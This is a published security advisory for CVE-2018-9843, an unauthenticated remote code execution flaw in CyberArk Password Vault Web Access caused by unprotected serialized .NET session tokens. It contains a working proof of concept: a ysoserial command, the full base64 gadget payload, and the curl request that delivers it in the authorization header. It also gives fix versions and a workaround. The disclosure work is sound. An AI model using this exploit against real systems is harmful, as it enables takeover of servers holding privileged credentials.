CyberArk Password Vault Web Access Remote Code Execution

Credit: RedTeam
Risk: High
Local: No
Remote: Yes

Advisory: CyberArk Password Vault Web Access Remote Code Execution The CyberArk Password Vault Web Access application uses authentication tokens which consist of serialized .NET objects. By crafting manipulated tokens, attackers are able to gain unauthenticated remote code execution on the web server. Details ======= Product: CyberArk Password Vault Web Access Affected Versions: < 9.9.5, < 9.10, 10.1 Fixed Versions: 9.9.5, 9.10, 10.2 Vulnerability Type: Remote Code Execution Security Risk: high Vendor URL: Vendor Status: fixed version released Advisory URL: Advisory Status: published CVE: CVE-2018-9843 CVE URL: Introduction ============ "CyberArk Enterprise Password Vault is designed to secure, rotate and control access to privileged account credentials based on organizational policies. A flexible architecture allows organizations to start small and scale to the largest, most complex IT environments. The solution protects privileged account credentials used to access the vast majority of systems." (from the Enterprise Password Vault Data Sheet [1]) More Details ============ The CyberArk Password Vault provides secure storage for credentials. It may be accessed through various clients which are also provided by CyberArk. One such client is the CyberArk Password Vault Web Access, a .NET web application. After logging into the web application with their credentials, users may access credentials kept in the vault. Additionally, CyberArk Password Vault Web Access provides a REST API for programmatic access to the vault. This API is available at an URL similar to the following: The API provides multiple endpoints with different methods. Most methods provided by the API require prior authentication. Consequently, a user's API call must include an authentication token in an HTTP authorization header. Tokens may be generated by calling a dedicated "Logon" API method. Analysis of this token by RedTeam Pentesting revealed, that it consists of a base64 encoded, serialized .NET object of the type "CyberArk.Services.Web.SessionIdentifiers". This class consists of four string attributes which hold information about a user's session. The integrity of the serialized data is not protected. Therefore, attackers may send arbitrary .NET objects to the API in the authorization header. By leveraging certain gadgets, such as the ones provided by [2], attackers may execute arbitrary code in the context of the web application. Proof of Concept ================ First, a malicious serialized .NET object is created. Here the "TypeConfuseDelegate" gadget of is used to execute the "ping" command: ------------------------------------------------------------------------ $ ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 \ -c "ping" > execute-ping.txt $ cat execute-ping.txt AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVy ZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3Rl bS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2Nv cmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2Vu PWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwAD AAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtb U3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0 cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIA AAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29t cGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3Vs dHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19j b21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAA AAIAAAAGBgAAABEvYyBwaW5nIDEwLjAuMC4xOQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxl Z2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMD AzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lz dGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJl ZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAE CAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkH AAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBl TmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tT eXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRy YWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBt c2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRv a2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lz dGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49 Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3Vs dHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5 c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2Vu PWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAA BVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXph dGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpT aWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5U eXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBT dGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9z dGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoB CgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50 MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5J bnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgA AAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwg VmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1 YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL ------------------------------------------------------------------------ Next, an API call is invoked which includes the malicious .NET object in its authorization header. This is done with cURL [3] as follows: ------------------------------------------------------------------------ $ curl -s -X GET -k \ --url ''\ 'Applications/?Location=\&IncludeSublocations=true' \ --header "authorization: $(cat execute-ping.txt)" \ --header 'content-type: application/json' ------------------------------------------------------------------------ Simultaneously, tcpdump [4] is invoked on the host to listen for ICMP packets originating from the web server: ------------------------------------------------------------------------ $ sudo tcpdump -i enp0s25 icmp tcpdump: verbose output suppressed[...] listening on enp0s25[...] IP > ICMP echo request, id 1, seq 6, length 40 IP > ICMP echo reply, id 1, seq 6, length 40 ------------------------------------------------------------------------ The fact that ICMP packets are received from the web server, indicates that attacker-controlled code was executed. Workaround ========== Disable any access to the API at the route /PasswordVault/WebServices. Fix === Upgrade CyberArk Password Vault Web Access to version 9.9.5, 9.10 or 10.2. Security Risk ============= The risk of this vulnerability is rated as high. Attackers with access to the PrivateArk Vault Web Access REST API may execute arbitrary code on the web server. No credentials are required. Attackers gain access to the system with the privileges of the web application. Consequently, such access may be used to backdoor the web application and compromise further accounts and credentials. Additionally, attackers may pivot from the web server to attack the vault directly. Timeline ======== 2017-11-24 Vulnerability identified 2018-01-22 Customer approved disclosure to vendor 2018-02-05 Vendor notified 2018-02-28 Vendor released fixed version 2018-04-06 CVE number requested 2018-04-07 CVE number assigned 2018-04-09 Advisory released References ========== [1] [2] [3] [4] RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at: Working at RedTeam Pentesting ============================= RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: -- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen Germany Registergericht: Aachen HRB 14004 Geschaftsfuhrer: Patrick Hof, Jens Liebchen

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018,


Back to Top